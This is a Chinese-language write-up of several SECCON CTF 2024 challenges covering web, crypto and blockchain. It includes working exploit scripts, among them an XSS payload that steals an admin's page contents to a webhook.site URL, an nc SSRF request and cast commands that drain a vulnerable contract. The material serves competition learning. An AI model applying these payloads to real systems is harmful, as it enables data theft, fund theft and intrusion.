SECCON CTF 2024 紀錄

Before all

這場那時候忘記在模考還是段考,反正沒打到QwQ
回來補一下題,學到好多新東西,挖庫挖庫!!!

Web

Trillion Bank

這題的服務主要是一個簡單的銀行,初始只給你10塊,你要把它變成1_000_000_000_000
考點是MySQL一個特性,TEXT資料最大值為65535,Reference(link)

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
import fastify from "fastify";
import crypto from "node:crypto";
import fs from "node:fs/promises";
import db from "./db.js";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
const TRILLION = 1_000_000_000_000;

const app = fastify();

app.register(await import("@fastify/jwt"), {
secret: crypto.randomBytes(32),
cookie: { cookieName: "session" },
});
app.register(await import("@fastify/cookie"));

const names = new Set();

const auth = async (req, res) => {
try {
await req.jwtVerify();
} catch {
return res.status(401).send({ msg: "Unauthorized" });
}
};

app.post("/api/register", async (req, res) => {
const name = String(req.body.name);
if (!/^[a-z0-9]+$/.test(name)) {
res.status(400).send({ msg: "Invalid name" });
return;
}
if (names.has(name)) {
res.status(400).send({ msg: "Already exists" });
return;
}
names.add(name);

const [result] = await db.query("INSERT INTO users SET ?", {
name,
balance: 10,
});
res
.setCookie("session", await res.jwtSign({ id: result.insertId }))
.send({ msg: "Succeeded" });
});

app.get("/api/me", { onRequest: auth }, async (req, res) => {
try {
const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]);
req.user.balance = balance;
} catch (err) {
return res.status(500).send({ msg: err.message });
}
if (req.user.balance >= TRILLION) {
req.user.flag = FLAG; // 💰
}
res.send(req.user);
});

app.post("/api/transfer", { onRequest: auth }, async (req, res) => {
const recipientName = String(req.body.recipientName);
if (!names.has(recipientName)) {
res.status(404).send({ msg: "Not found" });
return;
}

const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]);
if (id === req.user.id) {
res.status(400).send({ msg: "Self-transfer is not allowed" });
return;
}

const amount = parseInt(req.body.amount);
if (!isFinite(amount) || amount <= 0) {
res.status(400).send({ msg: "Invalid amount" });
return;
}

const conn = await db.getConnection();
try {
await conn.beginTransaction();

const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
req.user.id,
]);
if (amount > balance) {
throw new Error("Invalid amount");
}

await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
amount,
req.user.id,
]);
await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
amount,
recipientName,
]);

await conn.commit();
} catch (err) {
await conn.rollback();
return res.status(500).send({ msg: err.message });
} finally {
db.releaseConnection(conn);
}

res.send({ msg: "Succeeded" });
});

app.get("/", async (req, res) => {
const html = await fs.readFile("index.html");
res.type("text/html; charset=utf-8").send(html);
});

app.listen({ port: 3000, host: "0.0.0.0" });

判斷名字在不在是在服務寫個Set:

1
const names = new Set();

根據MySQL TEXT大小限制,如果註冊兩個user a*65535+ba*65535+c,將導致MySQL塞進去的名字一樣是a*65535,又bypass js限制
利用這兩行不一致:

1
2
3
4
5
6
7
8
await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
amount,
req.user.id,
]);
await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
amount,
recipientName,
]);

利用前面的特性註冊大約40的users,每次都分錢給a*65535,就會發生大家的錢集體翻倍這件事,超酷w

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests as req

base_url='http://trillion.seccon.games:3000'
creds=[]

def login(name):
web = req.post(base_url+'/api/register', json={"name":name})
cookie = web.headers.get('set-cookie')
# print(web.text)
print(f"[*] Got Cookie: {cookie.split(';')[0].split('=')}")
return {cookie.split(';')[0].split('=')[0]:cookie.split(';')[0].split('=')[1]}

def transfer(cookie, amount):
web=req.get(base_url+'/api/me', cookies=cookie)
print(f"[*] Status: {web.text}")
web=req.post(base_url+'/api/transfer', json={"recipientName":'q'*65535,"amount":str(amount)}, cookies=cookie)
print(f"[*] Response: {web.text}")

def win():
web=req.get(base_url+'/api/me', cookies=creds[-1])
print(f"[*] FLAG: {web.text}")

for i in range(40):
creds.append(login('q'*(65535+i)))

for i in range(39, 0, -1):
transfer(creds[i], 10*2**(39-i))

win()

image

Flag: SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}

Tanuki Udon

一個markdown網頁,admin會在自己介面建立一個flag的文章

markdown.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const escapeHtml = (content) => {
return content
.replaceAll('&', '&amp;')
.replaceAll(`"`, '&quot;')
.replaceAll(`'`, '&#39;')
.replaceAll('<', '&lt;')
.replaceAll('>', '&gt;');
}

const markdown = (content) => {
const escaped = escapeHtml(content);
return escaped
.replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
.replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
.replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
.replace(/ $/mg, `<br>`);
}

module.exports = markdown;

想要直接注入感覺是不可能了,但注意到它依序replace的行為:
構造![[whale](meow)](test_url)得到的會長這樣:

1
<img alt="<a href="test_url">whale" src="meow"></img></a>

調用兩次replace就可以嵌入雙引號,test_url的地方幾乎是任意注入
受限於前面escapeHTML,我使用src, onerror的方法串payload,js的程式無法注入括號(會出問題,一樣跟replace行為有關),location=,然後拿反引號取代引號…
PoC一下:

1
![[whale](meow)]( src=x onerror=location=`javascript:alert\x281\x29` )

要有空格,不然js會把後面的東西一併吃進去

Generator

1
2
3
payload="javascript:fetch('/').then(r=>r.text()).then(r=>fetch('https://webhook.site/f4ea2c93-700e-4ec6-b459-a54cbe543b7d', {method: 'POST', body:r}))"
payload=payload.replace('(', '\\x28').replace(')', '\\x29').replace("'",'\\x27').replace('>','\\x3e')
print(payload)

生payload的腳本,有些字元要用\x27之類的hex換掉
image
拿到後開心跳flag
image

Flag: SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}

P.S.聽說是unintended,之後再來想spec rule的跳法

self-ssrf

開個free SSRF,但有限制一些內容,app.use開了個全局規則

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import express from "express";

const PORT = 3000;
const LOCALHOST = new URL(`http://localhost:${PORT}`);
const FLAG = Bun.env.FLAG!!;

const app = express();

app.use("/", (req, res, next) => {
if (req.query.flag === undefined) {
const path = "/flag?flag=guess_the_flag";
res.send(`Go to <a href="${path}">${path}</a>`);
} else next();
});

app.get("/flag", (req, res) => {
res.send(
req.query.flag === FLAG // Guess the flag
? `Congratz! The flag is '${FLAG}'.`
: `<marquee>🚩🚩🚩</marquee>`
);
});

app.get("/ssrf", async (req, res) => {
try {
const url = new URL(req.url, LOCALHOST);

if (url.hostname !== LOCALHOST.hostname) {
res.send("Try harder 1");
return;
}
if (url.protocol !== LOCALHOST.protocol) {
res.send("Try harder 2");
return;
}

url.pathname = "/flag";
url.searchParams.append("flag", FLAG);
res.send(await fetch(url).then((r) => r.text()));
} catch {
res.status(500).send(":(");
}
});

app.listen(PORT);

攻擊手法是利用預設的URL不吃MEOW[a]=1&MEOW[b]=2的query寫法,但express代的req.query是用querystring(qs)庫,他會吃的不一致性使得express認為有flag參數(才能過/的全局規則),但url會去新增一個真正的flag參數。

References:

  1. https://github.com/nodejs/node/blob/main/doc/api/url.md#new-urlsearchparamsobj
  2. https://github.com/nodejs/node/blob/main/doc/api/querystring.md#querystringstringifyobj-sep-eq-options

想想看,如果用?flag[=]=,在URL parse的時候會吃到'flag['']=',可是qs庫會認定是flag[=]值為空,最後接上&flag=<真的flag>就可以真的拿到flagㄌ

image
像這樣,searchParams傳出去會把他url encode

最後就直接以nc建連線,GET下去SSRF
Payload

1
printf 'GET http://localhost:3000/ssrf?flag[=]= HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc self-ssrf.seccon.games 3000

image

FLAG: SECCON{Which_whit3space_did_you_u5e?}

Crypto

有點累所以只看一個數學題,其他Crypto之後會看💤

reiwa_rot13

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import *
import codecs
import string
import random
import hashlib
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 137

key = ''.join(random.sample(string.ascii_lowercase, 10))
rot13_key = codecs.encode(key, 'rot13')

key = key.encode()
rot13_key = rot13_key.encode()

print("n =", n)
print("e =", e)
print("c1 =", pow(bytes_to_long(key), e, n))
print("c2 =", pow(bytes_to_long(rot13_key), e, n))

key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print("encyprted_flag = ", cipher.encrypt(flag))

注意到rot13的轉換可以當作某種線性變換,就變成已知明文加密及線性後的明文加密
先分別位元枚舉,就可以進行Franklin–Reiter Attack(link)ㄌ~

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *
from Crypto.Cipher import AES
import hashlib

n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927
e = 137
c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679
c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233
encyprted_flag = b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4"

def attack(c1, c2, a, b, e, n):
P = PolynomialRing(Zmod(n), names=('x',)); (x,) = P._first_ngens(1)
g1 = x^e - c1
g2 = (a*x+b)^e - c2
g2 = g2.monic()
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]

def decrypt(key):
key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(encyprted_flag))

for i in range(2**10):
cur=0
for b in bin(i)[2:].rjust(10, '0'):
cur*=256
if b=='0':
cur+=13
else:
cur-=13
res=attack(c1, c2, 1, cur, e, n)
if len(long_to_bytes(int(res)))==10:
key=long_to_bytes(int(res))
decrypt(key)

Flag: SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}

blockchain

Trillion Ether

任務是把合約所有錢領走

TrillionEther.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

contract TrillionEther {
struct Wallet {
bytes32 name;
uint256 balance;
address owner;
}

Wallet[] public wallets;

constructor() payable {
require(msg.value == 1_000_000_000_000 ether);
}

function isSolved() external view returns (bool) {
return address(this).balance == 0;
}

function createWallet(bytes32 name) external payable {
wallets.push(_newWallet(name, msg.value, msg.sender));
}

function transfer(uint256 fromWalletId, uint256 toWalletId, uint256 amount) external {
require(wallets[fromWalletId].owner == msg.sender, "not owner");
wallets[fromWalletId].balance -= amount;
wallets[toWalletId].balance += amount;
}

function withdraw(uint256 walletId, uint256 amount) external {
require(wallets[walletId].owner == msg.sender, "not owner");
wallets[walletId].balance -= amount;
payable(wallets[walletId].owner).transfer(amount);
}

function _newWallet(bytes32 name, uint256 balance, address owner) internal returns (Wallet storage wallet) {
wallet = wallet;
wallet.name = name;
wallet.balance = balance;
wallet.owner = owner;
}
}

看得出來是一個Wallet的服務,有個wallets的動態陣列,主要的漏洞出在這一行(_newWallet):

1
wallet = wallet;

這邊wallet尚未被定義,所以會變成一個空指針被冠上Wallet的struct,所以第一個name會寫到slot[0],這也是紀錄wallets當前大小的地方
試一下會發現如果送出一個正常的name,再去看wallet[0]的值會發現沒東西,因為寫入時寫到wallet[name]的地方

1
cast call $target "wallets(uint256)(bytes32,uint256,address)" 0 --rpc-url $rpc_url

所以一開始name要送0x0出去,才能把內容正常化(owner屬性存在)
接下來就是interger overflow,送出0x5555555555555555555555555555555555555555555555555555555555555555做為第二次的name,這時候在slot上會嘗試往wallet_base+0x5…5*3 % (2^256)的地方寫入(因為slot大小極限&這個struct算一下就會發現三個變數各佔一個slot)
而選擇0x5…5\是因為乘以3以後正好就是-1 % (2^256),這時候就會從 wallet_base - 1開始寫,導致owner的值寫到剛剛wallet[0]的balance上,balance寫到它的name上,最終只需withdraw所有錢回來就好w
Exploit
這邊懶惰直接用foundry tool的cast殺下去

1
2
3
cast send $target "createWallet(bytes32)" 0x0000000000000000000000000000000000000000000000000000000000000000 --private-key $secret --rpc-url $rpc_url
cast send $target "createWallet(bytes32)" 0x5555555555555555555555555555555555555555555555555555555555555555 --private-key $secret --rpc-url $rpc_url
cast send $target "withdraw(uint256, uint256)" 0 1000000000000000000000000000000 --private-key $secret --rpc-url $rpc_url